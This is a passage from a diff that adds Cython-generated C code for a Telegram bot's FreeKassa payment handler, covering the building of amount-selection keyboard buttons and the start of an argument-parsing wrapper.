__pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_freekassa_2, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 101, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 100, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/freekassa_pay.py":99 + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 99, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_1, __pyx_t_11, __pyx_t_14}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 94, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + + /* "handlers/payments/freekassa_pay.py":93 + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L6; + } + + /* "handlers/payments/freekassa_pay.py":105 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":106 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/freekassa_pay.py":107 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_text); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_1) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":108 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_10 = __Pyx_PyObject_GetItem(__pyx_t_1, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + __pyx_t_10 = __Pyx_PyObject_FormatSimple(__pyx_t_1, __pyx_empty_unicode); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_10); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = __Pyx_PyUnicode_Concat(__pyx_n_u_freekassa_2, __pyx_t_10); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 108, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_1) < 0) __PYX_ERR(0, 107, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":106 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 106, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_1}; + __pyx_t_8 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 105, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __pyx_L6:; + + /* "handlers/payments/freekassa_pay.py":92 + * ): + * builder = InlineKeyboardBuilder() + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":111 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + + /* "handlers/payments/freekassa_pay.py":112 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_freekassa", + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/freekassa_pay.py":113 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_freekassa", + * ) + */ + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 113, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__7) < 0) __PYX_ERR(0, 113, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_enter_custom_amount_freekassa) < 0) __PYX_ERR(0, 113, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":112 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_freekassa", + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 112, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_11}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 111, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":117 + * ) + * ) + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) # <<<<<<<<<<<<<< + * + * await callback_query.message.answer( + */ + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__8) < 0) __PYX_ERR(0, 117, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 117, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_11, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_1 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_1)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_1); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_t_3}; + __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_8, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 117, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + } + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":119 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" FreeKassa:", + * reply_markup=builder.as_markup(), + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 119, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_answer); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 119, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + + /* "handlers/payments/freekassa_pay.py":120 + * + * await callback_query.message.answer( + * text=" FreeKassa:", # <<<<<<<<<<<<<< + * reply_markup=builder.as_markup(), + * ) + */ + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_kp_u_FreeKassa_5) < 0) __PYX_ERR(0, 120, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":121 + * await callback_query.message.answer( + * text=" FreeKassa:", + * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< + * ) + * + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_11 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, NULL}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 121, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_reply_markup, __pyx_t_3) < 0) __PYX_ERR(0, 120, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/freekassa_pay.py":119 + * builder.row(InlineKeyboardButton(text=" ", callback_data="pay")) + * + * await callback_query.message.answer( # <<<<<<<<<<<<<< + * text=" FreeKassa:", + * reply_markup=builder.as_markup(), + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 119, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 119, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 119, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":124 + * ) + * + * await state.set_state(ReplenishBalanceState.choosing_amount_freekassa) # <<<<<<<<<<<<<< + * + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_state, __pyx_n_s_set_state); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_ReplenishBalanceState); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_choosing_amount_freekassa); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_8, __pyx_t_1}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 124, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_3); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L9_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 124, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 124, __pyx_L1_error) + } + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":87 + * + * + * @router.callback_query(lambda c: c.data == "pay_freekassa") # <<<<<<<<<<<<<< + * async def process_callback_pay_freekassa( + * callback_query: types.CallbackQuery, state: FSMContext + */ + + /* function exit code */ + PyErr_SetNone(PyExc_StopIteration); + goto __pyx_L0; + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_8); + __Pyx_XDECREF(__pyx_t_10); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_XDECREF(__pyx_t_14); + __Pyx_AddTraceback("process_callback_pay_freekassa", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_13generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":127 + * + * + * @router.callback_query(F.data.startswith("freekassa_amount|")) # <<<<<<<<<<<<<< + * async def process_amount_selection( + * callback_query: types.CallbackQuery, state: FSMContext + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_12process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_12process_amount_selection = {"process_amount_selection", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_12process_amount_selection, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_12process_amount_selection(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_callback_query = 0; + CYTHON_UNUSED PyObject *__pyx_v_state = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[2] = {0,0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("process_amount_selection (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_callback_query,&__pyx_n_s_state,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 2: values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + CYTHON_FALLTHROUGH; + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_callback_query)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 127, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + CYTHON_FALLTHROUGH; + case 1: + if (likely((values[1] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_state)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 127, __pyx_L3_error) + else { + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, 1); __PYX_ERR(0, 127, __pyx_L3_error) + } + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "process_amount_selection") < 0)) __PYX_ERR(0, 127, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 2)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + values[1] = __Pyx_Arg_FASTCALL(__pyx_args, 1); + } + __pyx_v_callback_query = values[0]; + __pyx_v_state = values[1]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("process_amount_selection", 1, 2, 2, __pyx_nargs); __PYX_ERR(0, 127, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.process_amount_selection", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_11process_amount_selection(__pyx_self, __pyx_v_callback_query, __pyx_v_state); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_11process_amount_selection(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_callback_query, CYTHON_UNUSED PyObject *__pyx_v_state) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("process_amount_selection", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_4_process_amount_selection 